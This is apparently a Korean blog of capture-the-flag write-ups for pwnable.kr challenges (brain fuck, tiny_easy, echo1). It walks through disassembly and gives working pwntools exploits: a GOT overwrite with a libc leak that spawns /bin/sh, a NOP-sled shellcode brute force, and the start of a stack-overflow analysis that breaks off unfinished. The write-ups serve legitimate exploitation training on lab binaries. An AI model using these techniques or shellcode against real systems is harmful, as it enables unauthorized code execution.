I made a simple brain-fuck language emulation program written in C. 
The [ ] commands are not implemented yet. However the rest functionality seems working fine. 
Find a bug and exploit it to get a shell. 

 

brainfuck에 관한 문제인듯 하다. brainfuck은 프로그래밍 언어인데, 문법은 다음과 같다. (출처 나무위키namu.wiki/w/BrainFuck)

  • > : 포인터 증가

  • < : 포인터 감소

  • + : 포인터가 가리키는 바이트의 값을 증가

  • - : 포인터가 가리키는 바이트의 값을 감소

  • . : 포인터가 가리키는 바이트 값을 아스키 코드 문자로 출력한다.

  • , : 포인터가 가리키는 바이트에 아스키 코드 값을 입력한다. 쉽게 말해서 입력 받는 역할이다.

  • [ : 포인터가 가리키는 바이트의 값이 0이 되면 짝이 되는 ]로 이동한다. 의사코드로는 while(*ptr != 0) {...} 이다.

  • ] : 포인터가 가리키는 바이트의 값이 0이 아니면 짝이 되는 [로 이동한다.

이 문제에선 [] 루프는 구현이 되어 있지 않다. 아무튼 코드를 보자

Dump of assembler code for function main:
   0x08048671 <+0>:     push   ebp
   0x08048672 <+1>:     mov    ebp,esp
   0x08048674 <+3>:     push   ebx
   0x08048675 <+4>:     and    esp,0xfffffff0
   0x08048678 <+7>:     sub    esp,0x430
   0x0804867e <+13>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048681 <+16>:    mov    DWORD PTR [esp+0x1c],eax
   0x08048685 <+20>:    mov    eax,gs:0x14
   0x0804868b <+26>:    mov    DWORD PTR [esp+0x42c],eax
   0x08048692 <+33>:    xor    eax,eax
   0x08048694 <+35>:    mov    eax,ds:0x804a060
   0x08048699 <+40>:    mov    DWORD PTR [esp+0xc],0x0
   0x080486a1 <+48>:    mov    DWORD PTR [esp+0x8],0x2
   0x080486a9 <+56>:    mov    DWORD PTR [esp+0x4],0x0
   0x080486b1 <+64>:    mov    DWORD PTR [esp],eax
   0x080486b4 <+67>:    call   0x80484b0 <setvbuf@plt>
   0x080486b9 <+72>:    mov    eax,ds:0x804a040
   0x080486be <+77>:    mov    DWORD PTR [esp+0xc],0x0
   0x080486c6 <+85>:    mov    DWORD PTR [esp+0x8],0x1
   0x080486ce <+93>:    mov    DWORD PTR [esp+0x4],0x0
   0x080486d6 <+101>:   mov    DWORD PTR [esp],eax
   0x080486d9 <+104>:   call   0x80484b0 <setvbuf@plt>
   0x080486de <+109>:   mov    DWORD PTR ds:0x804a080,0x804a0a0
   0x080486e8 <+119>:   mov    DWORD PTR [esp],0x804890c
   0x080486ef <+126>:   call   0x8048470 <puts@plt>
   0x080486f4 <+131>:   mov    DWORD PTR [esp],0x8048934
   0x080486fb <+138>:   call   0x8048470 <puts@plt>
   0x08048700 <+143>:   mov    DWORD PTR [esp+0x8],0x400
   0x08048708 <+151>:   mov    DWORD PTR [esp+0x4],0x0
   0x08048710 <+159>:   lea    eax,[esp+0x2c]
   0x08048714 <+163>:   mov    DWORD PTR [esp],eax
   0x08048717 <+166>:   call   0x80484c0 <memset@plt>
   0x0804871c <+171>:   mov    eax,ds:0x804a040
   0x08048721 <+176>:   mov    DWORD PTR [esp+0x8],eax
   0x08048725 <+180>:   mov    DWORD PTR [esp+0x4],0x400
   0x0804872d <+188>:   lea    eax,[esp+0x2c]
   0x08048731 <+192>:   mov    DWORD PTR [esp],eax
   0x08048734 <+195>:   call   0x8048450 <fgets@plt>
   0x08048739 <+200>:   mov    DWORD PTR [esp+0x28],0x0
   0x08048741 <+208>:   jmp    0x8048760 <main+239>
   0x08048743 <+210>:   lea    edx,[esp+0x2c]
   0x08048747 <+214>:   mov    eax,DWORD PTR [esp+0x28]
   0x0804874b <+218>:   add    eax,edx
   0x0804874d <+220>:   movzx  eax,BYTE PTR [eax]
   0x08048750 <+223>:   movsx  eax,al
   0x08048753 <+226>:   mov    DWORD PTR [esp],eax
   0x08048756 <+229>:   call   0x80485dc <do_brainfuck>
   0x0804875b <+234>:   add    DWORD PTR [esp+0x28],0x1
   0x08048760 <+239>:   mov    ebx,DWORD PTR [esp+0x28]
   0x08048764 <+243>:   lea    eax,[esp+0x2c]
   0x08048768 <+247>:   mov    DWORD PTR [esp],eax
   0x0804876b <+250>:   call   0x8048490 <strlen@plt>
   0x08048770 <+255>:   cmp    ebx,eax
   0x08048772 <+257>:   jb     0x8048743 <main+210>
   0x08048774 <+259>:   mov    eax,0x0
   0x08048779 <+264>:   mov    edx,DWORD PTR [esp+0x42c]
   0x08048780 <+271>:   xor    edx,DWORD PTR gs:0x14
   0x08048787 <+278>:   je     0x804878e <main+285>
   0x08048789 <+280>:   call   0x8048460 <__stack_chk_fail@plt>
   0x0804878e <+285>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x08048791 <+288>:   leave
   0x08048792 <+289>:   ret

 

처음에 fgets로 0x400만큼 입력을 받고 1바이트씩 do_brainfuck을 실행한다.

 

Dump of assembler code for function do_brainfuck:
   0x080485dc <+0>:     push   ebp
   0x080485dd <+1>:     mov    ebp,esp
   0x080485df <+3>:     push   ebx
   0x080485e0 <+4>:     sub    esp,0x24
   0x080485e3 <+7>:     mov    eax,DWORD PTR [ebp+0x8]
   0x080485e6 <+10>:    mov    BYTE PTR [ebp-0xc],al
   0x080485e9 <+13>:    movsx  eax,BYTE PTR [ebp-0xc]
   0x080485ed <+17>:    sub    eax,0x2b
   0x080485f0 <+20>:    cmp    eax,0x30
   0x080485f3 <+23>:    ja     0x804866b <do_brainfuck+143>
   0x080485f5 <+25>:    mov    eax,DWORD PTR [eax*4+0x8048848]
   0x080485fc <+32>:    jmp    eax
   0x080485fe <+34>:    mov    eax,ds:0x804a080
   0x08048603 <+39>:    add    eax,0x1
   0x08048606 <+42>:    mov    ds:0x804a080,eax
   0x0804860b <+47>:    jmp    0x804866b <do_brainfuck+143>
   0x0804860d <+49>:    mov    eax,ds:0x804a080
   0x08048612 <+54>:    sub    eax,0x1
   0x08048615 <+57>:    mov    ds:0x804a080,eax
   0x0804861a <+62>:    jmp    0x804866b <do_brainfuck+143>
   0x0804861c <+64>:    mov    eax,ds:0x804a080
   0x08048621 <+69>:    movzx  edx,BYTE PTR [eax]
   0x08048624 <+72>:    add    edx,0x1
   0x08048627 <+75>:    mov    BYTE PTR [eax],dl
   0x08048629 <+77>:    jmp    0x804866b <do_brainfuck+143>
   0x0804862b <+79>:    mov    eax,ds:0x804a080
   0x08048630 <+84>:    movzx  edx,BYTE PTR [eax]
   0x08048633 <+87>:    sub    edx,0x1
   0x08048636 <+90>:    mov    BYTE PTR [eax],dl
   0x08048638 <+92>:    jmp    0x804866b <do_brainfuck+143>
   0x0804863a <+94>:    mov    eax,ds:0x804a080
   0x0804863f <+99>:    movzx  eax,BYTE PTR [eax]
   0x08048642 <+102>:   movsx  eax,al
   0x08048645 <+105>:   mov    DWORD PTR [esp],eax
   0x08048648 <+108>:   call   0x80484d0 <putchar@plt>
   0x0804864d <+113>:   jmp    0x804866b <do_brainfuck+143>
   0x0804864f <+115>:   mov    ebx,DWORD PTR ds:0x804a080
   0x08048655 <+121>:   call   0x8048440 <getchar@plt>
   0x0804865a <+126>:   mov    BYTE PTR [ebx],al
   0x0804865c <+128>:   jmp    0x804866b <do_brainfuck+143>
   0x0804865e <+130>:   mov    DWORD PTR [esp],0x8048830
   0x08048665 <+137>:   call   0x8048470 <puts@plt>
   0x0804866a <+142>:   nop
   0x0804866b <+143>:   add    esp,0x24
   0x0804866e <+146>:   pop    ebx
   0x0804866f <+147>:   pop    ebp
   0x08048670 <+148>:   ret

do_brainfuck 함수는 입력을 1바이트씩 해석해서 처리하는데, 포인터 값이 담긴 주소는 0x804a080인 것 같다. 확인해보자

 

gef➤  x /wx 0x804a080
0x804a080 <p>:  0x0804a0a0

 

포인터는 0x0804a0a0인 것 같다. 그러면 이곳에 입력 받은 brainfuck 바이트에 해당하는 처리를 해주는 것이다.

이제 중요한건 bug를 찾는건데, 포인터 값을 내가 원하는 주소로 바꿔서 해당 주소에 원하는 값을 쓰는게 가능할 것 같다. 포인터는 1바이트씩 증감시킬 수 있으므로 근처 영역의 주소에 쓸만한게 있는지 찾아보았다.

 

gef➤  x /100wx 0x804a000
0x804a000:      0x08049f14      0xf7ffd950      0xf7fe9680      0x08048446
0x804a010 <fgets@got.plt>:      0xf7e3d740      0x08048466      0xf7e3f0a0      0x08048486
0x804a020 <strlen@got.plt>:     0x08048496      0xf7df0a50      0xf7e3f700      0xf7f16ef0
0x804a030 <putchar@got.plt>:    0x080484d6      0x00000000      0x00000000      0x00000000
0x804a040 <stdin@@GLIBC_2.0>:   0xf7fb05c0      0x00000000      0x00000000      0x00000000
0x804a050:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a060 <stdout@@GLIBC_2.0>:  0xf7fb0d80      0x00000000      0x00000000      0x00000000
0x804a070:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a080 <p>:  0x0804a0a0      0x00000000      0x00000000      0x00000000
0x804a090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0a0 <tape>:       0x00000000      0x00000000      0x00000000      0x00000000
0x804a0b0 <tape+16>:    0x00000000      0x00000000      0x00000000      0x00000000

 

0x804a000부터 뭔가 함수들의 got 주소가 적혀 있는게 보인다. 그럼 당연히 got overwrite으로 덤벼보자. 쉘을 얻어야 하기 때문에 RTL로 system("/bin/sh")를 실행하는 것을 목표로 삼았다. 그러면 필요한 것은, 

 

i) system 함수 위치

ii) /bin/sh 스트링

 

이다.

 

system 함수의 위치는 적혀 있는 함수들의 주소를 leak해서 libc base 주소를 구하면 쉽게 구할 수 있다. 그리고 /bin/sh 스트링도 leak 할 수 있는데, 이것보다 문제에 준비된 0x0804a0a0 공간에 그냥 넣고 이 부분을 인자로하는 flow를 가져가려고 했다. 그러면 필요한 코드 조각은 대충 0x804a0a0을 스택에 push하고, call system을 하면 되겠다. 여기까지 하고 나면 정리가 필요하다.

 

우선은, 0x804a0a0 부분에 /bin/sh 스트링을 넣는다. 이는 다음과 같은 brainfuck 코드로 수행한다.

 

",>"*7

 

즉 1바이트쓰고 포인터를 1씩 증가시키는 방법을 총 7번 반복해서 /bin/sh 스트링을 넣는것이다.

 

이후에는 system 함수 위치를 알기 위해 적당한 아무 함수의 주소나 leak이 필요하다. 나는 fgets를 타겟으로 삼았다. fgets는 0x804a010 부분에 저장되어 있다. 따라서 여기까지 포인터를 이동해야하는데, 현재 포인터는 /bin/sh 스트링을 쓰고 한칸 더 이동해있기 때문에, 0x804a0a7 부분에 있다. 따라서 이 차이만큼 우선 이동을 해준다.

 

"<"*0x97

 

그리고 0x804a010에서부터 4바이트 주소를 1바이트씩 출력하기 위해서,

 

".>"*4

 

이 시점에서 fgets leak을 얻을 수 있고, 해당 leak을 통해 다음과 같은 방법으로 system 함수 위치를 구한다.

 

libc_base = fgets_leak - <libc_fgets_offset>

system_addr = libc_base + <libc_system_offset>

 

이렇게 구한 system 함수 위치를 내가 덮어쓸 함수의 got에 넣어야 되는데, 이 타겟은 처음에는 막연하게 putchar로 생각했었는데, putchar의 경우에 1바이트를 출력하는 함수기 때문에 실행 흐름에서 0x804a0a0을 스택에 push 할 수가 없고 1바이트만 push 되서 사용할 수가 없었다. 여기서 좀 헤맸는데, 일단 함수들을 다 살펴보고 나니까 프로그램 초반에 실행되는 setvbuf 함수가 눈에 띄었다.

 

   0x08048694 <+35>:    mov    eax,ds:0x804a060
   0x08048699 <+40>:    mov    DWORD PTR [esp+0xc],0x0
   0x080486a1 <+48>:    mov    DWORD PTR [esp+0x8],0x2
   0x080486a9 <+56>:    mov    DWORD PTR [esp+0x4],0x0
   0x080486b1 <+64>:    mov    DWORD PTR [esp],eax
   0x080486b4 <+67>:    call   0x80484b0 <setvbuf@plt>

 

setvbuf 함수는 0x804a060이 가리키는 값을 eax에 넣고, 이를 스택에 push 하는데, 0x804a060은 고맙게도 내가 조작할 수 있는 부분이다. 그렇다면 해야할 일은,

 

i) setvbuf의 got를 system 함수 위치로 덮어쓰기

ii) 0x804a060 주소에 0x804a0a0 값 넣기

iii) 0x8048694로 뛰기

 

이다. 우선 setvbuf의 got 주소를 확인해보면 0x804a028이다. 현재 포인터는 0x804a014에 머물러 있기 때문에, 0x804a028까지 이동 후 4바이트를 쓰는 코드는 다음과 같다.

 

">"*0x14 + ",>"*4

 

이후에는 0x8048694로 뛰기 위해 제일 가까우면서 트리거하기 쉬운 putchar 함수의 got를 덮어쓰기로 했다. putchar got는 0x804a030이고 현재 포인터는 0x804a02c이다. 따라서,

 

">"*0x4 + ",>"*4

 

이후에는 0x804a060 부분에 0x804a0a0 값을 쓰기 위해 해당 부분으로 이동하고 4바이트를 써야 한다. 현재 포인터는 0x804a034이다. 따라서,

 

">"*0x2c" + ",>"*4

 

그러면 exploit을 하기 위한 세팅이 모두 끝났다. putchar 함수(사실은 0x8048694)를 실행하기 위해

 

"."

 

를 입력하면 끝이다.

 

이후에 넣어야 할 입력들은 순서에 맞게 적절히 넣어주면 된다. 순서는 다음과 같다.

 

i) /bin/sh 문자열

ii) system 함수 주소

iii) 0x8048694

iv) 0x804a0a0

 

exploit 코드는 다음과 같다.

from pwn import *

e = ELF('bf', checksec=False)
libc = ELF('bf_libc.so', checksec=False)

payload = ",>"*7 + "<"*0x97 + ".>"*4 + ">"*0x14 + ",>"*4 + ">"*0x4 + ",>"*4 + ">"*0x2c + ",>"*4 + "."
string = "/bin/sh"
setvbuf_jump = p32(0x8048694)
string_addr = p32(0x804a0a0)
#p = process("/root/brain_fuck/bf")
p = remote("pwnable.kr", 9001)
print(p.recvuntil(']\n'))
p.sendline(payload)
p.send(string)

fgets_leak = u32(p.recvn(4))
libc_leak = fgets_leak - libc.symbols['fgets']
system_addr = libc_leak + libc.symbols['system']

print("[*] fgets_leak: " + hex(fgets_leak))
print("[*] libc_base: " + hex(libc_leak))
print("[*] system address: " + hex(system_addr))

p.send(p32(system_addr))
p.send(setvbuf_jump)
p.send(string_addr)
p.interactive()

 

 

'pwn' 카테고리의 다른 글

pwnable.kr - tiny_easy  (0) 2021.02.25
pwnable.kr - echo1  (0) 2021.02.25
pwnable.kr - fsb  (0) 2021.02.19
pwnable.kr - horcruxes  (0) 2020.08.04
pwnable.kr - blukat  (0) 2020.08.04

해설

I made a pretty difficult pwn task.
However I also made a dumb rookie mistake and made it too easy :(
This is based on real event :) enjoy.

 

tiny_easy 바이너리를 실행해보면, 바로 세그폴트가 난다. 바이너리에 대한 정보가 너무 없으니 정보를 좀 수집하기 위해 readelf를 돌려보았다. 

 

 

뭔가 헤더가 정상적으로 보이지는 않는다. 엔트리 주소가 나와있으니 해당 부분에 break를 걸고 코드를 확인해보았다.

 

코드는 단순하게 4개의 명령어로만 이루어져있다. pop을 두번하고, edx가 가리키는 부분의 4바이트를 다시 edx에 넣은 뒤에 call edx를 한다. 즉, 지금 현재 컨텍스트로만 보면, eax는 1이 들어가게 되고 edx에는 0xff861daf가 들어가 call 0xff861daf가 실행되고, 당연히 세그폴트가 날 것이다. 스택에 들어가 있는 정보들에 주목해보자. 현재 스택에 들어가 있는 정보들은 프로그램의 인자이다. 즉 0x1은 인자가 하나임을 의미하고, 0xff861daf에 들어 있는 문자열은 프로그램 자체의 이름(argv[0])인 것이다.

 

따라서 argv[0]를 변경할 수만 있으면 내가 원하는 부분으로 뛸 수 있고, 해당 부분에 쉘코드를 넣어놓으면 될 것이다.

다행이도 스택에 실행권한이 있기 때문에, 쉘코드를 밑에 보이는 환경변수가 저장된 부분에 넣으면 된다. 문제는 정확히 뛰어야 할 주소를 모른다는 것이다. 그래서 이 때는 nop sledding 기법을 쓰면 된다. exploit은 다음과 같다.

 

from pwn import *

shellcode = "\x90"*0x1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
argv = [p32(0xffdfffff)]
env = {}
for i in range(0, 0x100):
        env[str(i)] = shellcode

while True:
        p = process(argv=argv, executable="/home/tiny_easy/tiny_easy", env=env)
        try:
                p.sendline("ls")
                p.recv(1024)
        except :
                print("failed")
                continue
        p.interactive()

 

pwntools의 process 함수는 실행할 파일의 경로와 별도로 argv를 따로 입력 받을 수 있다. 따라서 argv[0]를 내가 뛰어야할 부분으로 조작할 수 있다. 매번 실행 시켜보면 알겠지만 스택의 주소 범위가 0xff8xxxxx~ 안에서 랜덤으로 바뀌기 때문에, 범위 안의 값으로 대충 정해놓고 nop sledding으로 될 때 까지 실행하는 방법으로 하면 쉘을 얻을 수 있다.

'pwn' 카테고리의 다른 글

pwnable.kr - brain fuck  (0) 2021.03.08
pwnable.kr - echo1  (0) 2021.02.25
pwnable.kr - fsb  (0) 2021.02.19
pwnable.kr - horcruxes  (0) 2020.08.04
pwnable.kr - blukat  (0) 2020.08.04

해설

Pwn this echo service.

 

이 문제는 다시 정리하면서 굉장히 고생했던 문제이다.

 

문제에서 제공하는 echo1 바이너리를 실행 시켜보면 처음에 이름(<input_name>)을 물어보고 echo type을 선택할 수 있는데, echo1 문제는 1번인 BOF echo만 활성화 되어있다. BOF echo를 선택할 경우 hello <input_name>이라는 출력과 함께 사용자로부터 입력을 받고, goodbye <input_name>이라는 메시지와 함께 echo type을 선택하는 부분으로 넘어간다.

 

gdb로 echo1의 main 함수, echo1 함수, get_input 함수 코드를 확인해 보면 다음과 같다.

 

Dump of assembler code for function main:
   0x00000000004008b1 <+0>:     push   rbp
   0x00000000004008b2 <+1>:     mov    rbp,rsp
   0x00000000004008b5 <+4>:     sub    rsp,0x30
   0x00000000004008b9 <+8>:     mov    rax,QWORD PTR [rip+0x2017a0]        # 0x602060 <stdout@@GLIBC_2.2.5>
   0x00000000004008c0 <+15>:    mov    ecx,0x0
   0x00000000004008c5 <+20>:    mov    edx,0x2
   0x00000000004008ca <+25>:    mov    esi,0x0
   0x00000000004008cf <+30>:    mov    rdi,rax
   0x00000000004008d2 <+33>:    call   0x400690 <setvbuf@plt>
   0x00000000004008d7 <+38>:    mov    rax,QWORD PTR [rip+0x20178a]        # 0x602068 <stdin@@GLIBC_2.2.5>
   0x00000000004008de <+45>:    mov    ecx,0x0
   0x00000000004008e3 <+50>:    mov    edx,0x1
   0x00000000004008e8 <+55>:    mov    esi,0x0
   0x00000000004008ed <+60>:    mov    rdi,rax
   0x00000000004008f0 <+63>:    call   0x400690 <setvbuf@plt>
   0x00000000004008f5 <+68>:    mov    edi,0x28
   0x00000000004008fa <+73>:    call   0x400680 <malloc@plt>
   0x00000000004008ff <+78>:    mov    QWORD PTR [rip+0x201792],rax        # 0x602098 <o>
   0x0000000000400906 <+85>:    mov    rax,QWORD PTR [rip+0x20178b]        # 0x602098 <o>
   0x000000000040090d <+92>:    mov    QWORD PTR [rax+0x18],0x4007c0
   0x0000000000400915 <+100>:   mov    rax,QWORD PTR [rip+0x20177c]        # 0x602098 <o>
   0x000000000040091c <+107>:   mov    QWORD PTR [rax+0x20],0x4007ec
   0x0000000000400924 <+115>:   mov    eax,0x400ba4
   0x0000000000400929 <+120>:   mov    rdi,rax
   0x000000000040092c <+123>:   mov    eax,0x0
   0x0000000000400931 <+128>:   call   0x400640 <printf@plt>
   0x0000000000400936 <+133>:   mov    eax,0x400bbe
   0x000000000040093b <+138>:   lea    rdx,[rbp-0x20]
   0x000000000040093f <+142>:   mov    rsi,rdx
   0x0000000000400942 <+145>:   mov    rdi,rax
   0x0000000000400945 <+148>:   mov    eax,0x0
   0x000000000040094a <+153>:   call   0x4006a0 <__isoc99_scanf@plt>
   0x000000000040094f <+158>:   mov    rax,QWORD PTR [rip+0x201742]        # 0x602098 <o>
   0x0000000000400956 <+165>:   lea    rdx,[rbp-0x20]
   0x000000000040095a <+169>:   mov    rcx,QWORD PTR [rdx]
   0x000000000040095d <+172>:   mov    QWORD PTR [rax],rcx
   0x0000000000400960 <+175>:   mov    rcx,QWORD PTR [rdx+0x8]
   0x0000000000400964 <+179>:   mov    QWORD PTR [rax+0x8],rcx
   0x0000000000400968 <+183>:   mov    rdx,QWORD PTR [rdx+0x10]
   0x000000000040096c <+187>:   mov    QWORD PTR [rax+0x10],rdx
   0x0000000000400970 <+191>:   lea    rax,[rbp-0x20]
   0x0000000000400974 <+195>:   mov    eax,DWORD PTR [rax]
   0x0000000000400976 <+197>:   mov    DWORD PTR [rip+0x201724],eax        # 0x6020a0 <id>
   0x000000000040097c <+203>:   call   0x400670 <getchar@plt>
   0x0000000000400981 <+208>:   mov    QWORD PTR [rip+0x2016f4],0x400818        # 0x602080 <func>
   0x000000000040098c <+219>:   mov    QWORD PTR [rip+0x2016f1],0x400872        # 0x602088 <func+8>
   0x0000000000400997 <+230>:   mov    QWORD PTR [rip+0x2016ee],0x400887        # 0x602090 <func+16>
   0x00000000004009a2 <+241>:   mov    DWORD PTR [rbp-0x24],0x0
   0x00000000004009a9 <+248>:   mov    edi,0x400bc3
   0x00000000004009ae <+253>:   call   0x400630 <puts@plt>
   0x00000000004009b3 <+258>:   mov    edi,0x400bd9
   0x00000000004009b8 <+263>:   call   0x400630 <puts@plt>
   0x00000000004009bd <+268>:   mov    edi,0x400be9
   0x00000000004009c2 <+273>:   call   0x400630 <puts@plt>
   0x00000000004009c7 <+278>:   mov    edi,0x400bf9
   0x00000000004009cc <+283>:   call   0x400630 <puts@plt>
   0x00000000004009d1 <+288>:   mov    edi,0x400c09
   0x00000000004009d6 <+293>:   call   0x400630 <puts@plt>
   0x00000000004009db <+298>:   mov    eax,0x400c15
   0x00000000004009e0 <+303>:   mov    rdi,rax
   0x00000000004009e3 <+306>:   mov    eax,0x0
   0x00000000004009e8 <+311>:   call   0x400640 <printf@plt>
   0x00000000004009ed <+316>:   mov    eax,0x400c18
   0x00000000004009f2 <+321>:   lea    rdx,[rbp-0x24]
   0x00000000004009f6 <+325>:   mov    rsi,rdx
   0x00000000004009f9 <+328>:   mov    rdi,rax
   0x00000000004009fc <+331>:   mov    eax,0x0
   0x0000000000400a01 <+336>:   call   0x4006a0 <__isoc99_scanf@plt>
   0x0000000000400a06 <+341>:   call   0x400670 <getchar@plt>
   0x0000000000400a0b <+346>:   mov    eax,DWORD PTR [rbp-0x24]
   0x0000000000400a0e <+349>:   cmp    eax,0x3
   0x0000000000400a11 <+352>:   jbe    0x400a55 <main+420>
   0x0000000000400a13 <+354>:   mov    eax,DWORD PTR [rbp-0x24]
   0x0000000000400a16 <+357>:   cmp    eax,0x4
   0x0000000000400a19 <+360>:   jne    0x400a49 <main+408>
   0x0000000000400a1b <+362>:   mov    eax,0x0
   0x0000000000400a20 <+367>:   call   0x40089c <cleanup>
   0x0000000000400a25 <+372>:   mov    eax,0x400c20
   0x0000000000400a2a <+377>:   mov    rdi,rax
   0x0000000000400a2d <+380>:   mov    eax,0x0
   0x0000000000400a32 <+385>:   call   0x400640 <printf@plt>
   0x0000000000400a37 <+390>:   call   0x400670 <getchar@plt>
   0x0000000000400a3c <+395>:   mov    DWORD PTR [rbp-0x24],eax
   0x0000000000400a3f <+398>:   mov    eax,DWORD PTR [rbp-0x24]
   0x0000000000400a42 <+401>:   cmp    eax,0x79
   0x0000000000400a45 <+404>:   jne    0x400a71 <main+448>
   0x0000000000400a47 <+406>:   jmp    0x400a77 <main+454>
   0x0000000000400a49 <+408>:   mov    edi,0x400c45
   0x0000000000400a4e <+413>:   call   0x400630 <puts@plt>
   0x0000000000400a53 <+418>:   jmp    0x400a72 <main+449>
   0x0000000000400a55 <+420>:   mov    eax,DWORD PTR [rbp-0x24]
   0x0000000000400a58 <+423>:   sub    eax,0x1
   0x0000000000400a5b <+426>:   mov    eax,eax
   0x0000000000400a5d <+428>:   mov    rdx,QWORD PTR [rax*8+0x602080]
   0x0000000000400a65 <+436>:   mov    eax,0x0
   0x0000000000400a6a <+441>:   call   rdx
   0x0000000000400a6c <+443>:   jmp    0x4009a9 <main+248>
   0x0000000000400a71 <+448>:   nop
   0x0000000000400a72 <+449>:   jmp    0x4009a9 <main+248>
   0x0000000000400a77 <+454>:   mov    edi,0x400c52
   0x0000000000400a7c <+459>:   call   0x400630 <puts@plt>
   0x0000000000400a81 <+464>:   mov    eax,0x0
   0x0000000000400a86 <+469>:   leave
   0x0000000000400a87 <+470>:   ret

 

우선 main에서는 앞서 실행 시 확인했듯이 scanf로 rbp-0x20에 입력을 받고, 입력 받은 값을 0x602098에 저장된 힙 메모리에 0x18바이트만큼 옮긴다. 그 후 입력 받은 값중 앞의 4바이트를 짤라서 0x6020a0(id)라는 부분에 저장한다. 이 부분은 bss 영역으로, 스태틱 변수가 저장되는 곳이다. 그 후 실행흐름에 따라 echo1 함수를 실행하게 될텐데 echo1 함수를 보자.

Dump of assembler code for function echo1:
   0x0000000000400818 <+0>:     push   rbp
   0x0000000000400819 <+1>:     mov    rbp,rsp
   0x000000000040081c <+4>:     sub    rsp,0x20
   0x0000000000400820 <+8>:     mov    rax,QWORD PTR [rip+0x201871]        # 0x602098 <o>
   0x0000000000400827 <+15>:    mov    rdx,QWORD PTR [rax+0x18]
   0x000000000040082b <+19>:    mov    rax,QWORD PTR [rip+0x201866]        # 0x602098 <o>
   0x0000000000400832 <+26>:    mov    rdi,rax
   0x0000000000400835 <+29>:    call   rdx
   0x0000000000400837 <+31>:    lea    rax,[rbp-0x20]
   0x000000000040083b <+35>:    mov    esi,0x80
   0x0000000000400840 <+40>:    mov    rdi,rax
   0x0000000000400843 <+43>:    call   0x400794 <get_input>
   0x0000000000400848 <+48>:    lea    rax,[rbp-0x20]
   0x000000000040084c <+52>:    mov    rdi,rax
   0x000000000040084f <+55>:    call   0x400630 <puts@plt>
   0x0000000000400854 <+60>:    mov    rax,QWORD PTR [rip+0x20183d]        # 0x602098 <o>
   0x000000000040085b <+67>:    mov    rdx,QWORD PTR [rax+0x20]
   0x000000000040085f <+71>:    mov    rax,QWORD PTR [rip+0x201832]        # 0x602098 <o>
   0x0000000000400866 <+78>:    mov    rdi,rax
   0x0000000000400869 <+81>:    call   rdx
   0x000000000040086b <+83>:    mov    eax,0x0
   0x0000000000400870 <+88>:    leave
   0x0000000000400871 <+89>:    ret

 

echo1 함수에서는 call rdx, call get_input, call rdx 크게 세부분으로 나뉘는데, 앞의 call rdx는 greetings 함수, 뒤의 call rdx는 byebye 함수로 시작 인사와 끝 인사를 출력하고, 가운데 call get_input 함수에서 입력을 받는다. get_input 함수는 인자로 {rdi: rbp-0x20, rsi: 0x80}을 받는 것을 확인할 수 있다. get_input 함수를 보자. 

 

Dump of assembler code for function get_input:
   0x0000000000400794 <+0>:     push   rbp
   0x0000000000400795 <+1>:     mov    rbp,rsp
   0x0000000000400798 <+4>:     sub    rsp,0x10
   0x000000000040079c <+8>:     mov    QWORD PTR [rbp-0x8],rdi
   0x00000000004007a0 <+12>:    mov    DWORD PTR [rbp-0xc],esi
   0x00000000004007a3 <+15>:    mov    rax,QWORD PTR [rip+0x2018be]        # 0x602068 <stdin@@GLIBC_2.2.5>
   0x00000000004007aa <+22>:    mov    rdx,rax
   0x00000000004007ad <+25>:    mov    ecx,DWORD PTR [rbp-0xc]
   0x00000000004007b0 <+28>:    mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004007b4 <+32>:    mov    esi,ecx
   0x00000000004007b6 <+34>:    mov    rdi,rax
   0x00000000004007b9 <+37>:    call   0x400660 <fgets@plt>
   0x00000000004007be <+42>:    leave
   0x00000000004007bf <+43>:    ret
End of assembler dump.

 

get_input 함수에서는 fgets로 입력을 받는데 넘겨받은 인자를 그대로 fgets의 인자로 사용한다.  즉 여기서는 fgets((echo1 스택 프레임에서의)rbp-0x20, 0x80, stdin)이 실행 되는것이다. 당연하게도 여기서 bof가 발생한다.

 

자 그럼 버그를 찾았으니 exploit할 방법을 생각해보자...라고 하면서 생각 하기를 시작했는데 이 시점에서 어이없는(?) 장애물이 발생했다. 예전에 풀었던 문제를 다시 정리하는 과정에서 문제에 대한 기억이 하나도 없기 때문에 새롭게 문제를 푸는거나 마찬가지인 상황이었는데, 여기서 공격 기법이 잘 떠오르질 않았다. 아니 안 떠오를 수 밖에 없었다... bof가 발생한다는 뜻은 echo1 프레임에서 main으로 리턴하는 부분의 리턴 주소를 바꿀 수 있다는 말이 된다. 그리고 이렇게 실행 흐름을 조작해서 내가 원하는 코드를 실행하려면 지금 현재 내 수준에서는 생각할만한 방법이 크게는

i) 쉘코드를 실행 가능한 영역 어딘가에 넣어놓고 그쪽으로 뛴다.

ii) got overwrite

iii) RTL (혹은 ROP)

정도이고, 실제로 생각의 흐름도 이 순서대로 진행을 하는 편이기 떄문에, i번 방법을 실행하고자 메모리맵의 실행 가능한 영역을 보기 위해 vmmap으로 확인을 했는데...

 

 

??? 실행 가능한 영역이 코드 섹션 이외에 스택밖에 없다..? 쉘코드를 스택에 넣고 스택으로 뛰어야 된다는 소리인데, 실제로 쉘코드를 스택에 넣는것까지는 매우 쉽지만 스택으로 뛰려면 스택 주소 leak이 있거나, jmp rsp 같은 명령어를 이용해야한다. 스택 leak 같은 경우에는 실제로 echo1 함수의 0x400848 부분부터 그 뒤의 puts 함수가 실행되는 과정까지를 이용하면 leak을 얻을 수 있긴한데, 스택 주소를 leak 할 수 있는지는 잘 모르겠다. jmp rsp 명령어도 해당 명령어가 실행될 실행 가능한 영역이 있어야 하는데, 그게 스택뿐이니.. 가능하지가 않았다. 여기서 뭔가 잘못되었음을 일찍 깨달았어야 했는데...

 

